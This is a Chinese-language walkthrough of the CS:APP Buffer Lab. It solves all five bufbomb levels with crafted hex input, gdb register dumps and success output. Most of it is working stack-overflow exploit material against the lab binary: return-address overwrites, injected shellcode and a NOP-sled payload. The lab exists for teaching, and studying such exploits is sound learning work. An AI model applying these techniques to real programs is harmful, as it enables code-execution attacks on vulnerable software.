Lab 3,即为 Buffer Lab,在这个 Lab 里面,我们需要通过构造字符串来改变程序的运行行为,最终解决全部问题。
实验大致流程
在实验中以 “./bufbomb -u <用户id>“指令运行程序,之后 bufbomb 会要求你输入一个字符串,我们需要写出十六进制机器码,之后通过”./hex2raw < <输入文件> > <输出文件>“将之输出为对应的字符串,最后,使用输入重定向将之定向到 bufbomb 程序中,以此解决问题。
前期准备
同 Lab 2,我们首先需要对 bufbomb 进行反汇编操作,指令如下:
objdump -d ./bufbomb > bufbomb.S
笔者的环境为 Ubuntu 17.10。
Level 0: Candle
本关中,我们的任务就是在使test()函数中调用的getbuf()函数返回时候不返回到test()函数,而是转而执行smoke()函数。test()函数的代码如下:
void test()
{
int val;
/* Put canary on stack to detect possible corruption */
volatile int local = uniqueval();
val = getbuf();
/* Check for corrupted stack */
if (local != uniqueval()) {
printf("Sabotaged!: the stack has been corrupted\n");
}
else if (val == cookie) {
printf("Boom!: getbuf returned 0x%x\n", val);
validate(3);
} else {
printf("Dud: getbuf returned 0x%x\n", val);
}
}
我们要做的就是在第 7 行执行时直接改变getbuf()的返回地址。要想达成这个任务,我们先看getbuf()函数的反汇编:
0804913f <getbuf>:
804913f: 55 push %ebp
8049140: 89 e5 mov %esp,%ebp
8049142: 83 ec 34 sub $0x34,%esp
8049145: 8d 45 d8 lea -0x28(%ebp),%eax
8049148: 50 push %eax
8049149: e8 4c fb ff ff call 8048c9a <Gets>
804914e: b8 01 00 00 00 mov $0x1,%eax
8049153: c9 leave
8049154: c3 ret
我们可以知道,getbuf()的栈帧大小为0x34,gets()的缓冲区大小为0x28,不难推出此函数的返回地址在($ebp + 0x4)上,因此我们需要输入44字节的字符,之后输入我们需要的返回地址,在反汇编文本中,我们不难看到smoke()的地址为08048bd2。至此,我们可以构造答案(注意数据的表示法):
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 d2 8b 04 08
进行测试:
name1e5s@ubuntu:~/buflab-handout$ ./hex2raw <smoke.txt | ./bufbomb -u xxxxxxxxxx
Userid: xxxxxxxxxxx
Cookie: 0xxxxxxxxx
Type string:Smoke!: You called smoke()
VALID
NICE JOB!
答案正确!
Level 1: Sparkler
我们的目标和 Level 0类似,不过这次我们需要调用的是fizz()函数,在实验手册里,我们知道fizz()的代码为:
void fizz(int val)
{
if (val == cookie) {
printf("Fizz!: You called fizz(0x%x)\n", val);
validate(1);
} else
printf("Misfire: You called fizz(0x%x)\n", val);
exit(0);
}
我们不只要把调用函数,还要把我们的cookie作为参数传进去。有了上一题的经验,我们知道只需要多写 8 个字节,后四个字节为 cookie (注意表示法)即可成功调用这个函数,因此答案如下:
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 fa 8b 04 08 00 00
00 00 61 41 63 24
进行测试:
name1e5s@ubuntu:~/buflab-handout$ ./hex2raw <fizz.txt | ./bufbomb -u xxxxxxxxxx
Userid: xxxxxxxxxx
Cookie: 0xxxxxxxxx
Type string:Fizz!: You called fizz(0x24634161)
VALID
NICE JOB!
完美!
Level 2: Firecracker
目标和之前两个类似,不过这次需要篡改的是全局变量。
直接看bang()函数的代码:
int global_value = 0;
void bang(int val)
{
if (global_value == cookie) {
printf("Bang!: You set global_value to 0x%x\n", global_value);
validate(2);
} else
printf("Misfire: global_value = 0x%x\n", global_value);
exit(0);
}
看来,我们需要篡改全局变量 global_value 的值为我们的 cookie 才可以。
要想篡改全局变量,直接使用之前的技巧是不可能实现的,因此我们需要新的方法。即在字符串中写入我们自己的代码,然后篡改getbuf()的返回值到我们自己写的代码,即可完成目标。
思路有了,就可以开始动手啦~
首先,找出我们的字符串存储的地址。看getbuf()的反汇编码:
0804913f <getbuf>:
804913f: 55 push %ebp
8049140: 89 e5 mov %esp,%ebp
8049142: 83 ec 34 sub $0x34,%esp
8049145: 8d 45 d8 lea -0x28(%ebp),%eax
8049148: 50 push %eax
8049149: e8 4c fb ff ff call 8048c9a <Gets>
804914e: b8 01 00 00 00 mov $0x1,%eax
8049153: c9 leave
8049154: c3 ret
噢呦,在 0x8049145 那里,字符串的地址直接出现在 eax 寄存器中了,我们在那里设断点,即可得到我们字符串存储的地址。操作如下:
(gdb) b *0x8049148
Breakpoint 1 at 0x8049148
(gdb) r -u 2017302376
Starting program: /home/name1e5s/buflab-handout/bufbomb -u 2017302376
Userid: 2017302376
Cookie: 0x24634161
Breakpoint 1, 0x08049148 in getbuf ()
(gdb) i r
eax 0x556834c8 1432892616
ecx 0x6308ec46 1661529158
edx 0x0 0
ebx 0x0 0
esp 0x556834bc 0x556834bc <_reserved+1037500>
ebp 0x556834f0 0x556834f0 <_reserved+1037552>
esi 0x55686580 1432905088
edi 0x1 1
eip 0x8049148 0x8049148 <getbuf+9>
eflags 0x212 [ AF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
现在得出字符串的存储位置为 0x556834c8 。
之后使用nm指令获取global_value的存储位置:
name1e5s@ubuntu:~/buflab-handout$ nm -A bufbomb | grep global_value
bufbomb:0804d138 B global_value
得知存储位置为 0x0804d138。有了这些内容,我们就可以开写汇编了,代码如下:
mov $0x24634161,%eax ;将id复制给 eax 寄存器
mov %eax,0x804d138 ;将 eax 的值复制给 global_value
push $0x08048c49 ;将 bang()函数的地址压入栈
ret ;返回,并跳转到bang()函数
之后进行编译,反汇编:
name1e5s@ubuntu:~/buflab-handout$ gcc -m32 -c fxxkbang.S
name1e5s@ubuntu:~/buflab-handout$ objdump -d fxxkbang.o
fxxkbang.o: file format elf32-i386
Disassembly of section .text:
00000000 <.text>:
0: b8 61 41 63 24 mov $0x24634161,%eax
5: a3 38 d1 04 08 mov %eax,0x804d138
a: 68 49 8c 04 08 push $0x8048c49
f: c3 ret
这样我们就拿到了机器码,将之写入字符串,并使用前两个 Level 中的技巧跳转到字符串的首地址,答案如下:
b8 61 41 63 24 a3 38 d1 04 08
68 49 8c 04 08 c3 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 c8 34 68 55
进行测试:
name1e5s@ubuntu:~/buflab-handout$ ./hex2raw <bang.txt | ./bufbomb -u xxxxxxxxxx
Userid: xxxxxxxxxx
Cookie: 0xxxxxxxxx
Type string:Bang!: You set global_value to 0x24634161
VALID
NICE JOB!
Bravo !至此,前三关已经完美完成。
Level 3: Dynamite
本关我们的目标是把我们的 cookie 作为 test()的返回值,同时还得恢复各个寄存器的值,使得test()函数不知道我们已经悄悄修改了返回值。
要想恢复现场,首先我们得知道我们搞溢出攻击时修改了哪些寄存器。先让当我们从 -0x28(%ebp) 一路压到 0x4(%ebp),自然%ebp被覆盖了,因此我们需要恢复 %ebp 的值。要想恢复 %ebp 的值,我们得先知道在那段时间里,%ebp 应该是什么值,现在先使用 gdb 查看我们需要恢复的值:
(gdb) b *0x8048d64 #此处为test函数里调用getbuf()函数之后的一条指令的地址
Breakpoint 1 at 0x8048d64
(gdb) r -u 2017302376
Starting program: /home/name1e5s/buflab-handout/bufbomb -u xxxxxxxxxx
Userid: xxxxxxxxxx
Cookie: 0xxxxxxxxx
Type string:Fuck you
Breakpoint 1, 0x08048d64 in test ()
(gdb) i r
eax 0x1 1
ecx 0x37 55
edx 0xa 10
ebx 0x0 0
esp 0x556834f8 0x556834f8 <_reserved+1037560>
ebp 0x55683510 0x55683510 <_reserved+1037584>
esi 0x55686580 1432905088
edi 0x1 1
eip 0x8048d64 0x8048d64 <test+20>
eflags 0x246 [ PF ZF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
可以看到本来的数值应该为0x55683510,现在使用上一关的套路,开始写代码:
mov $0x24634161,%eax ;把我们的 cookie 设为返回值
mov $0x55683510,%ebp ;恢复寄存器的值
push $0x8048d64 ;恢复执行test()函数
ret ;结束运行
经过编译反汇编,修饰后,得到答案:
b8 61 41 63 24 bd 10 35 68 55
68 64 8d 04 08 c3 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 c8 34 68 55
进行测试:
name1e5s@ubuntu:~/buflab-handout$ ./hex2raw <test.txt | ./bufbomb -u xxxxxxxxxx
Userid: xxxxxxxxxx
Cookie: 0xxxxxxxxx
Type string:Boom!: getbuf returned 0x24634161
VALID
NICE JOB!
好,答案正确~
Level 4: Nitroglycerin
终于来到最后一关,本关在执行过程中需要加 “-n”参数,程序的运行也不再调用 test 函数而是转而调用函数。本关我们的目标是返回调用 5 次 testn 时 getn 返回五次我们的 cookie 给 testn。听上去和上一关的任务类似,但是这次因为每次调用的栈地址都不一样,我们无法直接使用 gdb 求出每次返回的地址,只能通过分析代码来求地址。
先看 testn() 函数的开头:
08048dc5 <testn>:
8048dc5: 55 push %ebp
8048dc6: 89 e5 mov %esp,%ebp
8048dc8: 53 push %ebx
8048dc9: 83 ec 14 sub $0x14,%esp
8048dcc: e8 64 ff ff ff call 8048d35 <uniqueval>
8048dd1: 89 45 f4 mov %eax,-0xc(%ebp)
8048dd4: e8 7c 03 00 00 call 8049155 <getbufn>
可以知道 %ebp = %esp + 0x18,现在可以写代码啦:
mov $0x24634161,%eax ;将cookie写入返回值
lea 0x18(%esp),%ebp ;恢复作案现场
push $0x8048dd9 ;返回到testn的下一条指令
ret
之后进行编译反汇编操作,拿到机器码:
name1e5s@ubuntu:~/buflab-handout$ gcc -m32 -c fxxktestn.S
name1e5s@ubuntu:~/buflab-handout$ objdump -d fxxktestn.o
fucktestn.o: file format elf32-i386
Disassembly of section .text:
00000000 <.text>:
0: b8 61 41 63 24 mov $0x24634161,%eax
5: 8d 6c 24 18 lea 0x18(%esp),%ebp
9: 68 d9 8d 04 08 push $0x8048dd9
e: c3 ret
现在我们需要确定的就是返回地址,因为返回地址是动态的,我们难以正确的找出每次的返回值,这里我们引入经典的 NOP slide 方法来处理这个问题。在填充nop指令之前,我们还需要知道具体需要填充多少字节字符。由 getbufn() 中的
804915e: 8d 85 f8 fd ff ff lea -0x208(%ebp),%eax
我们知道我们需要填充的字节数为 0x208 + 0x4 = 524 个,下一步就是确定返回位置,并将其写在那 524 个字符之后。返回位置应该大于字符串的首地址,打开gdb 查看读入字符串的首地址。共5次操作,因此我们也读 5 次:
(gdb) b *0x804915e
Breakpoint 1 at 0x804915e
(gdb) r -n -u 2017302376
Starting program: /home/name1e5s/buflab-handout/bufbomb -n -u 2017302376
Userid: 2017302376
Cookie: 0x24634161
Breakpoint 1, 0x0804915e in getbufn ()
(gdb) i r
eax 0x78d28c5f 2027064415
ecx 0x78d28c5f 2027064415
edx 0x0 0
ebx 0x1 1
esp 0x556832dc 0x556832dc <_reserved+1037020>
ebp 0x556834f0 0x556834f0 <_reserved+1037552>
esi 0x55686580 1432905088
edi 0x5 5
eip 0x804915e 0x804915e <getbufn+9>
eflags 0x212 [ AF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) p /x 0x556834f0 - 0x208
$1 = 0x556832e8
(gdb) p /x $ebp - 0x208
$2 = 0x556832e8
(gdb) c
Continuing.
Type string:F
Dud: getbufn returned 0x1
Better luck next time
Breakpoint 1, 0x0804915e in getbufn ()
(gdb) p
$3 = (void *) 0x556832e8 <_reserved+1037032>
(gdb) p /x $ebp - 0x208
$4 = 0x556832d8
(gdb) c
Continuing.
Type string:415
Dud: getbufn returned 0x1
Better luck next time
Breakpoint 1, 0x0804915e in getbufn ()
(gdb) p /x $ebp - 0x208
$5 = 0x55683268
(gdb) c
Continuing.
Type string:5
Dud: getbufn returned 0x1
Better luck next time
Breakpoint 1, 0x0804915e in getbufn ()
(gdb) p /x $ebp - 0x208
$6 = 0x55683348
(gdb) c
Continuing.
Type string:e
Dud: getbufn returned 0x1
Better luck next time
Breakpoint 1, 0x0804915e in getbufn ()
(gdb) p /x $ebp - 0x208
$7 = 0x55683298
(gdb) c
Continuing.
Type string:ee
Dud: getbufn returned 0x1
Better luck next time
[Inferior 1 (process 1935) exited normally]
稳妥起见,我们选择最高的数字作为返回值,因此我们构造的答案如下:
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 b8
61 41 63 24 8d 6c 24 18 68 d9
8d 04 08 c3 48 33 68 55
因为我们共需要输入5次字符串,因此我们将此答案复制 5 次,每次的末尾都加上”\n”,也就是 0a,来实现换行功能,因此,最终的答案如下:
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 b8
61 41 63 24 8d 6c 24 18 68 d9
8d 04 08 c3 48 33 68 55
0a
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 b8
61 41 63 24 8d 6c 24 18 68 d9
8d 04 08 c3 48 33 68 55
0a
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 b8
61 41 63 24 8d 6c 24 18 68 d9
8d 04 08 c3 48 33 68 55
0a
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 b8
61 41 63 24 8d 6c 24 18 68 d9
8d 04 08 c3 48 33 68 55
0a
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 b8
61 41 63 24 8d 6c 24 18 68 d9
8d 04 08 c3 48 33 68 55
进行测试:
name1e5s@ubuntu:~/buflab-handout$ ./hex2raw <testn | ./bufbomb -n -u xxxxxxxxxx
Userid: xxxxxxxxxx
Cookie: 0xxxxxxxxx
Type string:KABOOM!: getbufn returned 0x24634161
Keep going
Type string:KABOOM!: getbufn returned 0x24634161
Keep going
Type string:KABOOM!: getbufn returned 0x24634161
Keep going
Type string:KABOOM!: getbufn returned 0x24634161
Keep going
Type string:KABOOM!: getbufn returned 0x24634161
VALID
NICE JOB!
对啦~
到此为止,此实验算是结束。
与上一个实验相比,本实验更侧重对于写汇编码解决问题的练习,有了上一个实验的铺垫,处理本实验的问题也不算太难。解决这类实验收获的不只是技能,还能收获一份成就感。